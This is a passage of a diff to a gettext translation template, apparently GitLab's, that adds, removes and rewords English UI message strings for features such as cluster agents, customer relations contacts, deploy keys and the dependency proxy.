msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -1087,9 +1129,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -1114,6 +1153,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1150,6 +1192,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1204,9 +1249,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1333,6 +1375,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1468,6 +1513,15 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "(this user)"
msgstr ""
@@ -1477,6 +1531,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1519,6 +1576,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1924,9 +1984,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1963,9 +2020,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -2014,9 +2068,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -2152,9 +2203,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2401,12 +2449,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2449,6 +2503,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2491,9 +2551,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2563,6 +2620,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2608,9 +2668,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2653,7 +2710,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2662,7 +2719,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2758,6 +2815,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2824,7 +2884,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3361,19 +3421,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3964,9 +4033,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3994,6 +4060,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -4153,6 +4222,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4339,6 +4411,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4378,6 +4453,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4420,9 +4498,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4435,9 +4510,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4498,6 +4570,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4510,6 +4585,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4942,6 +5020,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -5149,6 +5230,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5254,6 +5338,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5902,6 +5989,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5983,6 +6073,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5992,12 +6085,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -6010,6 +6112,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -6109,6 +6214,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -6121,6 +6229,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6412,10 +6523,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6424,6 +6538,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6673,6 +6790,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6967,10 +7087,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -7021,9 +7141,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -7036,6 +7153,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -7099,10 +7219,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -7168,6 +7288,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -7186,9 +7309,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7387,9 +7507,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7687,6 +7804,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7729,6 +7849,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7771,12 +7894,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7798,16 +7915,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7819,9 +7951,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7831,6 +7984,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7840,28 +7996,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7873,6 +8032,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7885,60 +8047,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -8080,15 +8260,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -8215,9 +8398,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8263,12 +8443,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8290,9 +8464,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8593,6 +8764,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8647,6 +8821,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8704,9 +8881,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8743,6 +8917,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -9172,6 +9349,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -9184,6 +9367,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -9223,9 +9409,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9949,7 +10132,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -10105,6 +10288,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10264,6 +10450,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10297,9 +10486,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10519,6 +10705,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10915,6 +11131,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11566,6 +11785,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11587,6 +11809,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11641,9 +11866,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11689,6 +11911,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11818,6 +12046,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11833,19 +12064,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -12097,9 +12334,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12337,7 +12571,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12616,6 +12850,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12787,6 +13024,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12877,9 +13117,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12913,6 +13150,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12991,9 +13231,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
